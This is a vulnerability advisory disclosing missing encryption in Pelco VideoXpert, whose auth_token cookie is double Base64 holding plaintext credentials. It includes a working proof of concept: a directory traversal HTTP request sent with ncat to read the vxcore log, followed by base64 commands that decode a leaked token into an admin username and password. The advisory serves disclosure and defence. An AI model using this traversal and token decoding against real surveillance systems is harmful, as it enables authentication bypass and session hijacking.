Schneider Electric Pelco VideoXpert Missing Encryption

Schneider Electric Pelco VideoXpert transmits sensitive data using double Base64 encoding for the Cookie 'auth_token' in a communication channel that can be sniffed by unauthorized actors or arbitrarily be read from the vxcore log file directly using directory traversal attack resulting in authentication bypass / session hijacking.


MD5 | 29d6a13171a92249a789a85e02531e9e


Schneider Electric Pelco VideoXpert Missing Encryption Of Sensitive Information


Vendor: Schneider Electric SE
Product web page: https://www.pelco.com
Affected version: 2.0.41
1.14.7
1.12.105

Summary: VideoXpert is a video management solution designed for
scalability, fitting the needs surveillance operations of any size.
VideoXpert Ultimate can also aggregate other VideoXpert systems,
tying multiple video management systems into a single interface.

Desc: The software transmits sensitive data using double Base64 encoding
for the Cookie 'auth_token' in a communication channel that can be
sniffed by unauthorized actors or arbitrarely be read from the vxcore
log file directly using directory traversal attack resulting in
authentication bypass / session hijacking.
Ref: ZSL-2017-5419

Tested on: Microsoft Windows 7 Professional SP1 (EN)
Jetty(9.2.6.v20141205)
MongoDB/3.2.10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2017-5420
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5420.php


05.04.2017

--


After a user logs in, the web server creates a Cookie: auth_token which has the following value:

ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5

Base64 decoding that becomes:

eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbjEyMyIsImRvbWFpbiI6IkxPQ0FMIiwiZXhwaXJlcyI6MTQ5MTU1Njc5NzE1OCwiYWdlbnQiOiI0MGY2NDM4Ni1mZmMwLTQ1NDEtOWNjZC1hNTIyM2RiMmZjMDkiLCJjbGllbnRJcCI6IjEyNy4wLjAuMSJ9

Again decoding, gives us result:

{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}


PoC remote session takeover with directory traversal:
-----------------------------------------------------

bash-4.4$ cat pelco_live.txt
GET /portal//..\\\..\\\..\\\..\\\ProgramData\Pelco\Core\core\vxcore.log HTTP/1.1
Host: 127.0.0.1
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: text/plain; charset=utf-8
Accept: */*
Referer: https://127.0.0.1/portal/
Accept-Language: en-US,en;q=0.8,mk;q=0.6
DNT: 1

bash-4.4$ ncat -v -n 127.0.0.1 80 < pelco_live.txt > vxcore_log.txt
bash-4.4$ cat vxcore_log.txt
--snip--
INFO [2017-04-06 11:20:09.999] [HealthCheckMonitorPollingThread-0] org.mongodb.driver.connection: Closed connection [connectionId{localValue:400, serverValue:473}] to mongod0-rs1-dfde27ce-6a4f-413a-a7c2-6df855d462df:31001 because the pool has been closed.
INFO [2017-04-06 11:20:12.559] [dw-5099 - GET /portal/System.html?auth_token=ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/System.html
INFO [2017-04-06 11:20:12.567] [dw-5055 - GET /portal/Lilac.css] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/Lilac.css
INFO [2017-04-06 11:20:12.568] [dw-5098 - GET /portal/lilac/lilac.nocache.js] com.pelco.vms.webService.application.servlets.StaticContentServlet: Returning static content for URI /portal/lilac/lilac.nocache.js
--snip--

bash-4.4$ cat pelco_auth_token.txt
ZXlKMWMyVnlibUZ0WlNJNkltRmtiV2x1SWl3aWNHRnpjM2R2Y21RaU9pSmhaRzFwYmpFeU15SXNJbVJ2YldGcGJpSTZJa3hQUTBGTUlpd2laWGh3YVhKbGN5STZNVFE1TVRVMU5qYzVOekUxT0N3aVlXZGxiblFpT2lJME1HWTJORE00TmkxbVptTXdMVFExTkRFdE9XTmpaQzFoTlRJeU0yUmlNbVpqTURraUxDSmpiR2xsYm5SSmNDSTZJakV5Tnk0d0xqQXVNU0o5
bash-4.4$ base64 -D pelco_auth_token.txt |base64 -D -
{"username":"admin","password":"admin123","domain":"LOCAL","expires":1491556797158,"agent":"40f64386-ffc0-4541-9ccd-a5223db2fc09","clientIp":"127.0.0.1"}
bash-4.4$


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